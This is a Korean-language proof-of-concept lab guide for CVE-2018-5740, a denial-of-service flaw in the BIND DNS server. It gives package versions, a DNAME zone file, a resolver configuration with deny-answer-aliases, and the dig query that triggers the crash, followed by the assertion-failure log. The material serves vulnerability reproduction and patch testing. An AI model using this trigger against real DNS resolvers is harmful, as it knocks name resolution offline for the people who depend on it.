
CVE-2018-5740에 대한 개념 증명 익스플로잇으로, 조작된 DNAME 쿼리에 의해 트리거되는 BIND DNS 서버의 서비스 거부 취약점이며, 재현 가능한 실험실 설정을 포함합니다.
합법적인 권한 있는 서버로부터 응답을 받은 named가 CVE-2018-5740에 의해 충돌합니다.
CentOS 7.5를 설치합니다.
bind 및 bind-utils 패키지를 설치합니다.
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64
example.com 영역에 대한 Zone 파일을 생성합니다.
# vi /var/named/example.com
# chown root:named /var/named/example.com
example.com zone 파일.
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
dname IN DNAME child.example.com.
example.com 영역을 추가하기 위해 named.conf를 편집합니다.
# vi /etc/named.conf
example.com 영역 지시문.
zone "example.com" IN {
type master;
file "example.com";
};
권한 있는 서버 서비스를 시작합니다.
# systemctl start named
풀-리졸버 서버용 설정 파일을 생성합니다.
# vi /etc/named-full-resulver.conf
named-full-resolver.conf
options {
listen-on port 10053 { 127.0.0.1; };
listen-on-v6 port 10053 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";
managed-keys-directory "/var/named/dynamic";
pid-file "/var/run/named/named-full-resolver.pid";
session-keyfile "/run/named/session.key";
deny-answer-aliases {
"dname.example.com";
};
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.ca";
};
zone "example.com" IN {
type static-stub;
server-addresses { 127.0.0.1; };
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
권한 있는 서버 서비스를 시작합니다.
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf
풀-리졸버에 쿼리를 전송합니다.
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec
/var/log/messages를 확인합니다.
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)